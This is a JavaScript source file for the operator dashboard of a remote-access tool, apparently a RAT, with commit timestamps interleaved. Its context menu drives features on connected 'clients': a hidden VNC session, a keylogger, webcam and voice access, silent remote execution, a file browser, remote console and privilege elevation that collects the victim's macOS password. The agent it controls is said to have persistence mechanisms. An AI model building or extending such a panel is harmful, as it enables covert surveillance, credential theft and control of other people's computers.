const res = await fetch ( `/api/clients/ ${ clientId } ` , {
method : "DELETE" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to remove client from dashboard" );
return false ;
}
selectedClients . delete ( clientId );
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to remove client from dashboard" );
return false ;
}
};
2026-03-10 19:30:51 -05:00
window . setClientNickname = async ( clientId , nickname ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /nickname` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ nickname : nickname || "" }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update client nickname" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update client nickname" );
return false ;
}
};
2026-03-13 23:46:42 -05:00
window . setClientTag = async ( clientId , tag , note ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /tag` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ tag : tag || "" , note : note ?? "" }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update custom tag" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update custom tag" );
return false ;
}
};
2026-05-15 18:29:25 -05:00
window . setClientNotificationsMuted = async ( clientId , muted ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /notifications-muted` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ muted : !! muted }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update notification mute state" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update notification mute state" );
return false ;
}
};
2026-04-14 19:38:27 -05:00
window . setClientGroup = async ( clientId , groupId ) => {
if ( ! clientId ) return false ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /group` , {
method : "PATCH" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ groupId }),
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to update client group" );
return false ;
}
return true ;
} catch ( err ) {
console . error ( err );
alert ( "Failed to update client group" );
return false ;
}
};
async function loadGroups () {
try {
const res = await fetch ( "/api/groups" );
if ( ! res . ok ) return [];
const data = await res . json ();
return data . groups || [];
} catch { return []; }
}
async function refreshGroupFilter () {
const groups = await loadGroups ();
if ( ! filterGroupSelect ) return groups ;
const current = filterGroupSelect . value ;
filterGroupSelect . innerHTML = '<option value="all">All Groups</option><option value="none">No Group</option>' ;
groups . forEach (( g ) => {
const opt = document . createElement ( "option" );
opt . value = String ( g . id );
opt . textContent = g . name ;
opt . style . color = g . color ;
filterGroupSelect . appendChild ( opt );
});
filterGroupSelect . value = current ;
return groups ;
}
async function openGroupPicker ( clientId ) {
const groups = await loadGroups ();
const card = getClientCard ( clientId );
const currentGroupId = card ? . dataset . groupId || "" ;
const overlay = document . createElement ( "div" );
overlay . className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60" ;
overlay . addEventListener ( "click" , ( e ) => { if ( e . target === overlay ) overlay . remove (); });
const modal = document . createElement ( "div" );
modal . className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-6 w-[400px] max-h-[80vh] flex flex-col gap-4" ;
modal . innerHTML = `
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-layer-group text-blue-400"></i> Set Group</h3>
<div class="group-picker-list flex flex-col gap-1 overflow-y-auto max-h-60"></div>
<div class="border-t border-slate-700 pt-3">
<p class="text-xs text-slate-400 mb-2">Create new group</p>
<div class="flex gap-2">
<input type="text" class="group-new-name flex-1 bg-slate-800 border border-slate-700 rounded-lg px-3 py-2 text-sm text-slate-100 outline-none focus:border-blue-500" placeholder="Group name" maxlength="64" />
<input type="color" class="group-new-color w-10 h-10 rounded-lg border border-slate-700 bg-slate-800 cursor-pointer" value="#3b82f6" />
<button class="group-create-btn px-3 py-2 rounded-lg bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium">Create</button>
</div>
</div>
` ;
const listEl = modal . querySelector ( ".group-picker-list" );
function renderList () {
listEl . innerHTML = "" ;
const noneBtn = document . createElement ( "button" );
noneBtn . className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${ ! currentGroupId ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800" } ` ;
noneBtn . innerHTML = '<i class="fa-solid fa-xmark text-slate-500"></i> No Group' ;
noneBtn . addEventListener ( "click" , async () => {
const ok = await window . setClientGroup ( clientId , null );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
overlay . remove ();
});
listEl . appendChild ( noneBtn );
groups . forEach (( g ) => {
const btn = document . createElement ( "button" );
const isActive = String ( g . id ) === currentGroupId ;
btn . className = `w-full text-left px-3 py-2 rounded-lg text-sm flex items-center gap-2 transition-colors ${ isActive ? "bg-slate-700 text-white" : "text-slate-300 hover:bg-slate-800" } ` ;
btn . innerHTML = `<span class="inline-block w-3 h-3 rounded-full flex-shrink-0" style="background: ${ g . color } "></span> ${ escapeHtml ( g . name ) } ` ;
btn . addEventListener ( "click" , async () => {
const ok = await window . setClientGroup ( clientId , g . id );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
overlay . remove ();
});
listEl . appendChild ( btn );
});
}
renderList ();
const createBtn = modal . querySelector ( ".group-create-btn" );
createBtn . addEventListener ( "click" , async () => {
const nameInput = modal . querySelector ( ".group-new-name" );
const colorInput = modal . querySelector ( ".group-new-color" );
const name = nameInput . value . trim ();
const color = colorInput . value ;
if ( ! name ) { nameInput . focus (); return ; }
try {
const res = await fetch ( "/api/groups" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ name , color }),
});
if ( ! res . ok ) {
const d = await res . json (). catch (() => ({}));
alert ( d . error || "Failed to create group" );
return ;
}
const newGroup = await res . json ();
groups . push ( newGroup );
nameInput . value = "" ;
renderList ();
refreshGroupFilter ();
} catch ( err ) {
console . error ( err );
alert ( "Failed to create group" );
}
});
overlay . appendChild ( modal );
document . body . appendChild ( overlay );
modal . querySelector ( ".group-new-name" ). addEventListener ( "keydown" , ( e ) => {
if ( e . key === "Enter" ) createBtn . click ();
});
}
function escapeHtml ( text ) {
const div = document . createElement ( "div" );
div . textContent = text ;
return div . innerHTML ;
}
2026-06-27 16:40:54 -05:00
function renderClientLogs ( logs ) {
if ( ! Array . isArray ( logs ) || logs . length === 0 ) {
return '<div class="text-sm text-slate-500 p-3">No secure logs returned.</div>' ;
}
return logs . map (( entry ) => {
const ts = entry . at ? new Date ( entry . at ). toLocaleString () : "" ;
const source = entry . source || "log" ;
return `<div class="border-b border-slate-800 py-2">
<div class="text-xs text-slate-500 mb-1"># ${ escapeHtml ( entry . seq ) } ${ escapeHtml ( source ) } ${ escapeHtml ( ts ) } </div>
<pre class="whitespace-pre-wrap text-xs text-slate-200 font-mono"> ${ escapeHtml ( entry . text || "" ) } </pre>
</div>` ;
}). join ( "" );
}
function openSecureLogsModal ( clientId ) {
const overlay = document . createElement ( "div" );
overlay . className = "fixed inset-0 z-[10000] flex items-center justify-center bg-black/60" ;
overlay . addEventListener ( "click" , ( e ) => { if ( e . target === overlay ) overlay . remove (); });
const modal = document . createElement ( "div" );
modal . className = "bg-slate-900 border border-slate-700 rounded-xl shadow-2xl p-5 w-[760px] max-w-[calc(100vw-24px)] max-h-[86vh] flex flex-col gap-4" ;
modal . innerHTML = `
<div class="flex items-center justify-between gap-3">
<h3 class="text-lg font-semibold text-slate-100 flex items-center gap-2"><i class="fa-solid fa-file-shield text-sky-400"></i> Secure Logs</h3>
<button class="secure-logs-close text-slate-400 hover:text-white"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="flex flex-wrap gap-2">
<button class="secure-logs-fetch px-3 py-2 rounded-lg bg-sky-700 hover:bg-sky-600 text-white text-sm"><i class="fa-solid fa-download mr-1"></i> Request From Client</button>
<button class="secure-logs-decrypt px-3 py-2 rounded-lg bg-slate-800 hover:bg-slate-700 text-slate-200 border border-slate-700 text-sm"><i class="fa-solid fa-key mr-1"></i> Decrypt Pasted Blob</button>
</div>
<textarea class="secure-logs-input min-h-28 bg-slate-950 border border-slate-700 rounded-lg p-3 text-xs text-slate-200 font-mono outline-none focus:border-sky-500" placeholder="Paste OVERLORD-SECURE-LOG lines here for offline recovery"></textarea>
<div class="secure-logs-meta text-xs text-slate-500"></div>
<div class="secure-logs-output overflow-auto rounded-lg border border-slate-800 bg-slate-950/70 p-3 min-h-48"></div>
` ;
overlay . appendChild ( modal );
document . body . appendChild ( overlay );
const output = modal . querySelector ( ".secure-logs-output" );
const meta = modal . querySelector ( ".secure-logs-meta" );
const input = modal . querySelector ( ".secure-logs-input" );
const fetchBtn = modal . querySelector ( ".secure-logs-fetch" );
const decryptBtn = modal . querySelector ( ".secure-logs-decrypt" );
modal . querySelector ( ".secure-logs-close" ) ? . addEventListener ( "click" , () => overlay . remove ());
fetchBtn . addEventListener ( "click" , async () => {
fetchBtn . disabled = true ;
output . innerHTML = '<div class="text-sm text-slate-400 p-3">Requesting logs...</div>' ;
try {
const res = await fetch ( `/api/clients/ ${ encodeURIComponent ( clientId ) } /logs` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ limit : 200 }),
});
const data = await res . json (). catch (() => ({}));
if ( ! res . ok || ! data . ok ) {
meta . textContent = data . clientError || data . error || "Secure logs request failed" ;
} else {
meta . textContent = `Entries ${ data . fromSeq || 0 } - ${ data . toSeq || 0 } ; dropped ${ data . dropped || 0 } ` ;
}
output . innerHTML = renderClientLogs ( data . logs || []);
} catch ( err ) {
meta . textContent = err . message || "Secure logs request failed" ;
output . innerHTML = "" ;
} finally {
fetchBtn . disabled = false ;
}
});
decryptBtn . addEventListener ( "click" , async () => {
const blob = input . value . trim ();
if ( ! blob ) {
input . focus ();
return ;
}
decryptBtn . disabled = true ;
output . innerHTML = '<div class="text-sm text-slate-400 p-3">Decrypting...</div>' ;
try {
const res = await fetch ( "/api/client-logs/decrypt" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ blob }),
});
const data = await res . json (). catch (() => ({}));
meta . textContent = data . errors ? . length ? ` ${ data . errors . length } blob(s) could not decrypt` : "Offline blob decrypted" ;
output . innerHTML = renderClientLogs ( data . logs || []);
} catch ( err ) {
meta . textContent = err . message || "Decrypt failed" ;
output . innerHTML = "" ;
} finally {
decryptBtn . disabled = false ;
}
});
}
2026-03-05 00:04:26 -06:00
window . banClient = async ( clientId ) => {
if ( ! clientId ) return ;
if ( ! confirm ( `Ban IP for ${ clientId } and block future connections?` )) return ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /ban` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( ! res . ok ) {
const data = await res . json (). catch (() => ({}));
alert ( data . error || "Failed to ban client IP" );
return ;
}
const data = await res . json (). catch (() => ({}));
alert ( `Banned IP ${ data . ip || "" } ` . trim ());
setTimeout (() => loadWithOptions ({ force : true }), 400 );
} catch ( err ) {
console . error ( err );
alert ( "Failed to ban client IP" );
}
};
prevBtn ? . addEventListener ( "click" , () => {
if ( state . page > 1 ) {
state . page -= 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
}
});
nextBtn ? . addEventListener ( "click" , () => {
state . page += 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
2026-05-30 22:44:55 -05:00
pageJumpForm ? . addEventListener ( "submit" , ( e ) => {
e . preventDefault ();
const requested = Math . trunc ( Number ( pageJumpInput ? . value || 1 ));
const targetPage = Math . min ( lastKnownTotalPages , Math . max ( 1 , Number . isFinite ( requested ) ? requested : 1 ));
if ( pageJumpInput ) pageJumpInput . value = String ( targetPage );
if ( targetPage === state . page ) return ;
state . page = targetPage ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
});
2026-03-05 00:04:26 -06:00
window . addEventListener ( "click" , ( e ) => {
const target = e . target ;
if ( target . closest && target . closest ( ".command-btn" )) return ;
if ( target . closest && target . closest ( ".modal" )) return ;
if ( menu . contains ( target )) return ;
closeMenu ( clearContext );
});
menu . addEventListener ( "click" , async ( e ) => {
const target = e . target . closest ( "button" );
if ( ! target || ! contextCard ) return ;
2026-03-12 14:22:03 -05:00
if ( target . dataset . groupToggle ) return ;
2026-03-06 18:32:16 -06:00
if ( target . disabled || target . getAttribute ( "aria-disabled" ) === "true" ) {
return ;
}
2026-03-05 00:04:26 -06:00
const pluginId = target . dataset . plugin ;
if ( pluginId ) {
2026-04-14 09:56:20 -05:00
const savedClientId = contextCard ;
2026-03-05 00:04:26 -06:00
try {
2026-04-14 09:56:20 -05:00
const res = await fetch ( `/api/clients/ ${ savedClientId } /plugins/ ${ pluginId } /load` , {
2026-03-05 00:04:26 -06:00
method : "POST" ,
2026-04-14 09:56:20 -05:00
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({}),
2026-03-05 00:04:26 -06:00
});
2026-04-14 09:56:20 -05:00
if ( res . status === 428 ) {
const data = await res . json ();
closeMenu ( clearContext );
2026-06-22 10:52:27 -05:00
if ( data . error === "needs_approval_required" ) {
showPluginNeedsModal ( pluginId , savedClientId , data . needs , data . needsHash );
} else {
showPluginConfirmModal ( pluginId , savedClientId , data . signature );
}
2026-04-14 09:56:20 -05:00
return ;
}
if ( res . status === 403 ) {
const data = await res . json ();
alert ( data . error || "Plugin load blocked — invalid signature" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( ! res . ok ) {
const text = await res . text ();
alert ( `Plugin load failed: ${ text } ` );
closeMenu ( clearContext );
return ;
}
2026-04-14 09:56:20 -05:00
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ savedClientId } ` , "_blank" , "noopener" );
2026-03-05 00:04:26 -06:00
} catch ( err ) {
alert ( "Plugin load failed" );
}
closeMenu ( clearContext );
return ;
}
const unloadId = target . dataset . pluginUnload ;
if ( unloadId ) {
await fetch ( `/api/clients/ ${ contextCard } /plugins/ ${ unloadId } /unload` , {
method : "POST" ,
});
closeMenu ( clearContext );
return ;
}
2026-05-16 16:33:40 -05:00
const scriptId = target . dataset . scriptId ;
if ( scriptId ) {
window . open (
`/scripts?clientId= ${ encodeURIComponent ( contextCard ) } &scriptId= ${ encodeURIComponent ( scriptId ) } ` ,
"_blank" ,
"noopener" ,
);
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
const open = target . dataset . open ;
if ( open === "console" ) {
window . open ( `/ ${ contextCard } /console` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "remotedesktop" ) {
window . open ( `/remotedesktop?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-08 22:31:11 -05:00
if ( open === "webcam" ) {
window . open ( `/webcam?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-12 14:22:03 -05:00
if ( open === "Backstage" ) {
2026-03-05 00:04:26 -06:00
window . open ( `/hvnc?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-07-12 14:23:41 -05:00
if ( open === "Virtual" ) {
// mode=hidden is understood by older hvnc.js builds; current builds treat
// it as the virtual-monitor mode compatibility alias.
window . open ( `/hvnc?clientId= ${ contextCard } &mode=hidden` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( open === "files" ) {
2026-03-06 18:32:16 -06:00
const platform = detectClientPlatform ( contextCard );
if ( platform !== "windows" ) {
const proceed = confirm (
"Opening File Browser may show a permission prompt to the target user on their machine. Continue?" ,
);
if ( ! proceed ) {
closeMenu ( clearContext );
return ;
}
}
2026-03-05 00:04:26 -06:00
window . open ( `/ ${ contextCard } /files` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "processes" ) {
window . open ( `/ ${ contextCard } /processes` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "keylogger" ) {
window . open ( `/ ${ contextCard } /keylogger` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
if ( open === "silent-exec" ) {
window . open ( `/deploy?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-29 00:46:18 -05:00
if ( open === "winre" ) {
window . open ( `/winre?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
const action = target . dataset . action ;
2026-03-07 23:27:57 -06:00
if ( open === "voice" ) {
window . open ( `/voice?clientId= ${ contextCard } ` , "_blank" , "noopener" );
closeMenu ( clearContext );
return ;
}
2026-03-05 00:04:26 -06:00
if ( action === "uninstall" ) {
if (
! confirm (
`Uninstall agent from ${ contextCard } ?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.` ,
)
) {
closeMenu ( clearContext );
return ;
}
} else if ( action === "disconnect" ) {
if (
! confirm (
`Disconnect ${ contextCard } ?\n\nThis will terminate the agent connection.` ,
)
) {
closeMenu ( clearContext );
return ;
}
2026-03-06 12:43:42 -06:00
} else if ( action === "remove-dashboard" ) {
if (
! confirm (
`Remove ${ contextCard } from the dashboard list?\n\nUse this for stale clients that are already gone. If that client reconnects later, it will appear again.` ,
)
) {
closeMenu ( clearContext );
return ;
}
const removed = await window . removeClientFromDashboard ( contextCard );
if ( removed ) {
updateBulkToolbar ();
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-03-10 19:30:51 -05:00
} else if ( action === "set-nickname" ) {
const card = getClientCard ( contextCard );
const currentNickname = ( card ? . dataset . nickname || "" ). trim ();
const input = prompt (
`Set nickname for ${ contextCard } \n\nLeave blank to clear nickname.` ,
currentNickname ,
);
if ( input === null ) {
closeMenu ( clearContext );
return ;
}
const trimmed = input . trim ();
const updated = await window . setClientNickname ( contextCard , trimmed || null );
if ( updated ) {
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-03-13 23:46:42 -05:00
} else if ( action === "set-custom-tag" ) {
const card = getClientCard ( contextCard );
const currentTag = ( card ? . dataset . customTag || "" ). trim ();
const currentNote = card ? . _customTagNote || "" ;
const result = await openTagNoteEditor ( contextCard , currentTag , currentNote );
if ( ! result ) {
closeMenu ( clearContext );
return ;
}
const updated = await window . setClientTag (
contextCard ,
result . tag || "" ,
result . note || "" ,
);
if ( updated ) {
setTimeout (() => loadWithOptions ({ force : true }), 200 );
}
closeMenu ( clearContext );
return ;
2026-04-14 19:38:27 -05:00
} else if ( action === "set-group" ) {
const savedClientId = contextCard ;
closeMenu ( clearContext );
openGroupPicker ( savedClientId );
return ;
2026-05-15 18:29:25 -05:00
} else if ( action === "toggle-mute" ) {
const card = getClientCard ( contextCard );
const currentlyMuted = card ? . dataset . notificationsMuted === "true" ;
const ok = await window . setClientNotificationsMuted ( contextCard , ! currentlyMuted );
if ( ok ) setTimeout (() => loadWithOptions ({ force : true }), 200 );
closeMenu ( clearContext );
return ;
2026-06-27 16:40:54 -05:00
} else if ( action === "secure-logs" ) {
const savedClientId = contextCard ;
closeMenu ( clearContext );
openSecureLogsModal ( savedClientId );
return ;
2026-03-10 19:30:51 -05:00
}
if ( ! isClientOnline ( contextCard )) {
alert ( "Client is offline. This command can only be used while the client is online." );
closeMenu ( clearContext );
return ;
2026-03-05 00:04:26 -06:00
}
2026-04-13 10:49:36 -05:00
if ( action === "elevate" ) {
2026-05-20 15:26:41 -05:00
const isMac = detectClientPlatform ( contextCard ) === "mac" ;
let password = "" ;
if ( isMac ) {
password = prompt ( "Enter the user's macOS password for sudo elevation:" );
if ( ! password ) {
closeMenu ( clearContext );
return ;
}
2026-04-13 10:49:36 -05:00
}
try {
2026-05-20 15:26:41 -05:00
const payload = { action : "elevate" };
if ( password ) payload . password = password ;
2026-04-13 10:49:36 -05:00
const res = await fetch ( `/api/clients/ ${ contextCard } /command` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
2026-05-20 15:26:41 -05:00
body : JSON . stringify ( payload ),
2026-04-13 10:49:36 -05:00
});
const data = await res . json (). catch (() => ({}));
if ( data . ok ) {
2026-05-20 15:26:41 -05:00
alert ( data . message || "Elevation successful — client will reconnect elevated." );
2026-04-13 13:38:13 -05:00
setTimeout (() => requestThumbnail ( contextCard ), 5000 );
setTimeout (() => requestThumbnail ( contextCard ), 10000 );
setTimeout (() => requestThumbnail ( contextCard ), 18000 );
2026-04-13 10:49:36 -05:00
} else {
alert ( data . error || data . message || "Elevation failed." );
}
} catch ( err ) {
alert ( "Elevation request failed: " + err . message );
}
closeMenu ( clearContext );
2026-04-13 13:38:13 -05:00
setTimeout (() => loadWithOptions ({ force : true }), 5000 );
2026-04-13 10:49:36 -05:00
return ;
}
2026-04-13 20:02:58 -05:00
if ( action === "disconnect" ) {
markManualDisconnect ( contextCard );
}
2026-05-08 22:55:41 -05:00
if ( action === "uninstall" ) {
flipFallAndRemove ( contextCard );
}
2026-03-05 00:04:26 -06:00
const ok = await sendCommand ( contextCard , action );
if ( ok ) {
2026-05-08 22:55:41 -05:00
// Wait for the flip-fall to finish before refreshing the grid, otherwise
// the reload would yank the animating card from layout.
const refreshDelay = action === "uninstall" ? 1300 : 400 ;
setTimeout (() => loadWithOptions ({ force : true }), refreshDelay );
2026-03-05 00:04:26 -06:00
}
closeMenu ( clearContext );
});
loadCurrentUser ();
2026-04-18 01:00:14 -05:00
// console easter egg
( function () {
2026-06-22 19:21:06 -05:00
const runWhenIdle = ( fn ) => {
if ( "requestIdleCallback" in window ) {
window . requestIdleCallback ( fn , { timeout : 5000 });
return ;
}
window . addEventListener ( "load" , () => setTimeout ( fn , 1500 ), { once : true });
};
2026-04-18 01:00:14 -05:00
const consoleimg = {
load : function ( src , { size = 320 , color = "transparent" } = {}) {
const reader = new FileReader ();
reader . addEventListener ( "load" , function () {
const style =
"background: url('" + reader . result + "') left top no-repeat; font-size: " +
size +
"px; background-size: contain; background-color:" +
color ;
console . log ( "%c " , style );
}, false );
fetch ( src )
. then (( r ) => r . blob ())
. then (( blob ) => {
if ( blob . type . indexOf ( "image" ) === 0 ) {
if ( blob . size > 8192 && navigator . userAgent . indexOf ( "Firefox" ) > 0 )
throw new Error ( "Image size too big to be displayed in Firefox." );
return blob ;
}
throw new Error ( "Valid image not found." );
})
. then (( blob ) => reader . readAsDataURL ( blob ))
. catch (( err ) => console . warn ( err . message ));
},
};
2026-06-22 19:21:06 -05:00
runWhenIdle (() => consoleimg . load ( "/assets/console.gif" , { size : 320 , color : "transparent" }));
2026-04-18 01:00:14 -05:00
})();